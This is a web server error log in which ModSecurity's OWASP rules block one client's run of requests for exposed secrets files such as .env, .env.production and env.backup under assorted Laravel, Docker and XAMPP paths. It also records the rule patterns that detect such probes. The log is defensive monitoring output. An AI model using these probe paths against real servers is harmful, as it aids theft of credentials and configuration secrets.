[Mon Jul 28 20:45:58.782940 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpkAAAAAI&quot;]
[Mon Jul 28 20:45:58.783088 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpkAAAAAI&quot;]
[Mon Jul 28 20:45:58.805105 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpkQAAAAI&quot;]
[Mon Jul 28 20:45:58.805399 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpkQAAAAI&quot;]
[Mon Jul 28 20:45:58.805553 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpkQAAAAI&quot;]
[Mon Jul 28 20:45:58.920117 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVplgAAAAI&quot;]
[Mon Jul 28 20:45:58.920289 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVplgAAAAI&quot;]
[Mon Jul 28 20:45:58.920439 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVplgAAAAI&quot;]
[Mon Jul 28 20:45:58.942570 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVplwAAAAI&quot;]
[Mon Jul 28 20:45:58.942759 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVplwAAAAI&quot;]
[Mon Jul 28 20:45:58.942927 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVplwAAAAI&quot;]
[Mon Jul 28 20:45:58.965191 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpmAAAAAI&quot;]
[Mon Jul 28 20:45:58.965442 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpmAAAAAI&quot;]
[Mon Jul 28 20:45:58.965643 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpmAAAAAI&quot;]
[Mon Jul 28 20:45:58.989709 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpmQAAAAI&quot;]
[Mon Jul 28 20:45:58.989901 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpmQAAAAI&quot;]
[Mon Jul 28 20:45:58.990051 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpmQAAAAI&quot;]
[Mon Jul 28 20:45:59.026115 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpmgAAAAI&quot;]
[Mon Jul 28 20:45:59.026316 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpmgAAAAI&quot;]
[Mon Jul 28 20:45:59.026499 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpmgAAAAI&quot;]
[Mon Jul 28 20:45:59.048747 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/laravel/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpmwAAAAI&quot;]
[Mon Jul 28 20:45:59.048949 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpmwAAAAI&quot;]
[Mon Jul 28 20:45:59.049118 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpmwAAAAI&quot;]
[Mon Jul 28 20:45:59.071322 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnAAAAAI&quot;]
[Mon Jul 28 20:45:59.071535 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnAAAAAI&quot;]
[Mon Jul 28 20:45:59.071699 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnAAAAAI&quot;]
[Mon Jul 28 20:45:59.094061 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnQAAAAI&quot;]
[Mon Jul 28 20:45:59.094361 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnQAAAAI&quot;]
[Mon Jul 28 20:45:59.094548 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpnQAAAAI&quot;]
[Mon Jul 28 20:45:59.116652 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpngAAAAI&quot;]
[Mon Jul 28 20:45:59.116845 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpngAAAAI&quot;]
[Mon Jul 28 20:45:59.116994 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aIfFZztW59P3rmsxDxVpngAAAAI&quot;]
[Mon Jul 28 20:45:59.139161 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id 